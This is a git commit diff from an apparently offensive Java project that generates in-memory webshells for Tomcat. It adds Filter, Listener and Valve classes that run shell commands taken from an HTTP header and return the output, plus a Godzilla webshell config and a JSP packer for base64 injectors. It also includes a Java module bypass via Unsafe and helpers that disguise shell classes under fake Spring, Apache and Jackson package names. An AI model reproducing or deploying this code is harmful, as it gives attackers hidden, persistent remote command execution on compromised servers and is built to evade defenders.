feat: support tomcat cmd shell and jsp packer

This commit is contained in:
ReaJason
2024-11-27 00:35:35 +08:00
parent a530d77351
commit e718af7440
32 changed files with 867 additions and 74 deletions
@@ -0,0 +1,55 @@
package com.reajason.javaweb;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class GeneratorMain {
public static void main(String[] args) throws IOException {
Server server = Server.TOMCAT;
ShellTool shellTool = ShellTool.Godzilla;
String shellType = TomcatShell.FILTER;
GodzillaShellConfig shellConfig = GodzillaShellConfig.builder()
.pass("pass")
.key("key")
.headerName("User-Agent")
.headerValue("test")
.build();
GenerateResult generateResult = generate(server, shellTool, shellType, shellConfig);
if (generateResult != null) {
String shellBytesBase64Str = generateResult.getShellBytesBase64Str();
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
Files.write(Paths.get(shellConfig.getShellClassName() + ".class"), generateResult.getShellBytes());
System.out.println(shellConfig.getShellClassName() + " : " + shellBytesBase64Str);
System.out.println(shellConfig.getInjectorClassName() + " : " + injectorBytesBase64Str);
System.out.println(shellConfig);
JspPacker jspPacker = new JspPacker();
String jspContent = new String(jspPacker.pack(generateResult));
System.out.println(jspContent);
}
}
public static GenerateResult generate(Server server, ShellTool shellTool, String shellType, ShellConfig shellConfig) {
switch (server) {
case TOMCAT:
return TomcatShell.generate(shellTool, shellType, shellConfig);
case BES:
break;
case RESIN:
break;
case JETTY:
break;
default:
throw new IllegalArgumentException("Unsupported server");
}
return GenerateResult.builder().build();
}
}
@@ -0,0 +1,18 @@
package com.reajason.javaweb.config;
import lombok.Builder;
import lombok.Getter;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@ToString
public class CommandShellConfig extends ShellConfig {
@Builder.Default
private String headerName = "cmd";
}
@@ -0,0 +1,27 @@
package com.reajason.javaweb.config;
import lombok.Builder;
import lombok.Data;
import org.apache.commons.codec.binary.Base64;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@Builder
public class GenerateResult {
private String shellClassName;
private transient byte[] shellBytes;
private String shellBytesBase64Str;
private String injectorClassName;
private transient byte[] injectorBytes;
private String injectorBytesBase64Str;
private ShellConfig shellConfig;
public GenerateResult encodeBase64() {
this.shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
this.injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
return this;
}
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class GodzillaShellConfig extends ShellConfig {
@Builder.Default
private String pass = "pass";
@Builder.Default
private String key = "key";
@Builder.Default
private String headerName = "User-Agent";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -0,0 +1,25 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.util.CommonUtil;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.Data;
import lombok.NoArgsConstructor;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2024/11/24
*/
@Data
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
public class ShellConfig {
@Builder.Default
private String shellClassName = CommonUtil.generateShellClassName();
@Builder.Default
private String injectorClassName = CommonUtil.generateInjectorClassName();
@Builder.Default
private String urlPattern = "/*";
}
@@ -1,41 +0,0 @@
package com.reajason.javaweb.config;
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
import lombok.Getter;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell {
public static final String SERVLET = "servlet";
public static final String JAKARTA_SERVLET = "jakartaServlet";
public static final String FILTER = "filter";
public static final String JAKARTA_FILTER = "jakartaFilter";
public static final String LISTENER = "listener";
public static final String JAKARTA_LISTENER = "jakartaListener";
public static final String WEBSOCKET = "websocket";
public static final String VALVE = "valve";
public static final String UPGRADE = "upgrade";
public static final String EXECUTOR = "executor";
@Getter
public static enum Godzilla {
/**
* Tomcat Filter
*/
Filter(TomcatShell.FILTER, GodzillaFilter.class),
;
Godzilla(String shellType, Class<?> shellClass) {
this.shellClass = shellClass;
this.shellType = shellType;
}
private final String shellType;
private final Class<?> shellClass;
}
}
@@ -0,0 +1,28 @@
package com.reajason.javaweb.memsell;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FieldAccessor;
import net.bytebuddy.implementation.Implementation;
import net.bytebuddy.implementation.SuperMethodCall;
import net.bytebuddy.matcher.ElementMatchers;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandGenerator {
public static byte[] generate(Class<?> commandClass, String commandClassName, String headerName) {
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName));
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(commandClass)
.name(commandClassName)
.constructor(ElementMatchers.any())
.intercept(fieldSets)
.make()) {
return make.getBytes();
}
}
}
@@ -14,7 +14,7 @@ import org.apache.commons.codec.digest.DigestUtils;
*/
public class GodzillaGenerator {
public byte[] generate(Class<?> godzillaClass, String godzillaClassName,
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
String pass, String key,
String headerName, String headerValue) {
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
@@ -6,7 +6,6 @@ import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
import net.bytebuddy.implementation.FixedValue;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.lang3.StringUtils;
import java.util.Objects;
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
public class InjectorGenerator {
@SneakyThrows
public byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
try (DynamicType.Unloaded<?> make = new ByteBuddy()
.redefine(injectClass)
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.SneakyThrows;
import org.apache.commons.io.IOUtils;
import java.nio.charset.Charset;
import java.util.Objects;
/**
* @author ReaJason
* @since 2024/11/26
*/
public class JspPacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
String injectorClassName = generateResult.getInjectorClassName();
String jspTemplate = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/shell.jsp")), Charset.defaultCharset());
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
}
}
@@ -0,0 +1,11 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
/**
* @author ReaJason
* @since 2024/11/26
*/
public interface Packer {
byte[] pack(GenerateResult generateResult);
}
@@ -0,0 +1,106 @@
package com.reajason.javaweb.memsell.tomcat;
import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.CommandGenerator;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.memsell.InjectorGenerator;
import com.reajason.javaweb.memsell.tomcat.command.*;
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
import lombok.SneakyThrows;
import org.apache.commons.lang3.tuple.Pair;
import java.util.HashMap;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/22
*/
public class TomcatShell {
public static final String SERVLET = "Servlet";
public static final String JAKARTA_SERVLET = "JakartaServlet";
public static final String FILTER = "Filter";
public static final String JAKARTA_FILTER = "JakartaFilter";
public static final String LISTENER = "Listener";
public static final String JAKARTA_LISTENER = "JakartaListener";
public static final String WEBSOCKET = "Websocket";
public static final String VALVE = "Valve";
public static final String UPGRADE = "Upgrade";
public static final String EXECUTOR = "Executor";
/**
* 哥斯拉 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
static {
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
}
/**
* 命令执行 shell 生成的模板类以及注入器类
*/
public static final Map<String, Pair<Class<?>, Class<?>>> COMMAND_SHELL_MAP = new HashMap<>();
static {
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
}
@SneakyThrows
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
if (shellTool == null || shellType == null || shellConfig == null) {
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
}
Pair<Class<?>, Class<?>> classPair;
byte[] shellBytes;
switch (shellTool) {
case Godzilla: {
classPair = GODZILLA_SHELL_MAP.get(shellType);
GodzillaShellConfig godzillaConfig = (GodzillaShellConfig) shellConfig;
shellBytes = GodzillaGenerator.generate(classPair.getLeft(),
godzillaConfig.getShellClassName(),
godzillaConfig.getPass(),
godzillaConfig.getKey(),
godzillaConfig.getHeaderName(),
godzillaConfig.getHeaderValue());
break;
}
case CMD: {
classPair = COMMAND_SHELL_MAP.get(shellType);
CommandShellConfig commandConfig = (CommandShellConfig) shellConfig;
shellBytes = CommandGenerator.generate(classPair.getLeft(),
commandConfig.getShellClassName(),
commandConfig.getHeaderName());
break;
}
default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellTool);
}
Class<?> injectorClass = classPair.getRight();
byte[] injectorBytes = InjectorGenerator.generate(injectorClass,
shellConfig.getInjectorClassName(),
shellConfig.getShellClassName(),
shellBytes,
shellConfig.getUrlPattern());
return GenerateResult.builder()
.shellClassName(shellConfig.getShellClassName())
.shellBytes(shellBytes)
.injectorClassName(shellConfig.getInjectorClassName())
.injectorBytes(injectorBytes)
.shellConfig(shellConfig)
.build().encodeBase64();
}
}
@@ -0,0 +1,48 @@
package com.reajason.javaweb.memsell.tomcat.command;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String headerName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
public void destroy() {
}
}
@@ -0,0 +1,40 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
* @since 2024/11/24
*/
public class CommandJakartaFilter implements Filter {
public String headerName;
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response;
String cmd = servletRequest.getHeader(headerName);
try {
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
chain.doFilter(servletRequest, servletResponse);
}
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
}
@@ -0,0 +1,70 @@
package com.reajason.javaweb.memsell.tomcat.command;
import jakarta.servlet.ServletOutputStream;
import jakarta.servlet.ServletRequestEvent;
import jakarta.servlet.ServletRequestListener;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandJakartaListener implements ServletRequestListener {
public String headerName;
public CommandJakartaListener() {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,74 @@
package com.reajason.javaweb.memsell.tomcat.command;
import javax.servlet.ServletOutputStream;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String headerName;
public CommandListener() {
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
}
} catch (Exception ignored) {
}
}
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
HttpServletResponse response = null;
try {
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
} catch (Exception e) {
response = (HttpServletResponse) getFieldValue(request, "response");
}
return response;
}
@SuppressWarnings("all")
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
Field field = null;
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
field = clazz.getDeclaredField(name);
break;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
if (field == null) {
throw new NoSuchFieldException(name);
} else {
field.setAccessible(true);
return field.get(obj);
}
}
}
@@ -0,0 +1,62 @@
package com.reajason.javaweb.memsell.tomcat.command;
import org.apache.catalina.Valve;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException;
import java.io.InputStream;
/**
* @author ReaJason
*/
public class CommandValve implements Valve {
protected Valve next;
protected boolean asyncSupported;
public String headerName;
public CommandValve() {
}
@Override
public Valve getNext() {
return this.next;
}
@Override
public void setNext(Valve valve) {
this.next = valve;
}
@Override
public boolean isAsyncSupported() {
return this.asyncSupported;
}
@Override
public void backgroundProcess() {
}
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
try {
String cmd = request.getHeader(headerName);
if (cmd != null) {
Process exec = Runtime.getRuntime().exec(cmd);
InputStream inputStream = exec.getInputStream();
ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
} else {
this.getNext().invoke(request, response);
}
} catch (Exception e) {
this.getNext().invoke(request, response);
}
}
}
@@ -77,7 +77,6 @@ public class GodzillaFilter extends ClassLoader implements Filter {
} catch (Exception e) {
chain.doFilter(servletRequest, servletResponse);
}
}
@Override
@@ -12,10 +12,15 @@ import java.lang.reflect.Method;
public class ClassUtils {
@SneakyThrows
public static Object newInstance(byte[] bytes) {
public static Class<?> defineClass(byte[] bytes) {
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
return (Class<?>) defineClass.invoke(ClassUtils.class.getClassLoader(), bytes, 0, bytes.length);
}
@SneakyThrows
public static Object newInstance(byte[] bytes) {
Class<?> clazz = defineClass(bytes);
return clazz.newInstance();
}
@@ -32,4 +37,21 @@ public class ClassUtils {
method.setAccessible(true);
return method.invoke(object, parameters);
}
public static void byPassJdkModule() {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
java.lang.reflect.Method getModuleM = Class.class.getMethod("getModule");
Object module = getModuleM.invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
java.lang.reflect.Field moduleF = Class.class.getDeclaredField("module");
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, moduleF);
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, ClassUtils.class, offset, module);
} catch (Exception ignored) {
}
}
}
@@ -2,6 +2,8 @@ package com.reajason.javaweb.util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.SecureRandom;
import java.util.Random;
import java.util.zip.GZIPOutputStream;
/**
@@ -15,4 +17,42 @@ public class CommonUtil {
}
return out.toByteArray();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
private static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
}
public static String generateShellClassName() {
return getRandomPackageName() + ".ErrorHandler";
}
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
public static String generateInjectorClassName() {
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
}
}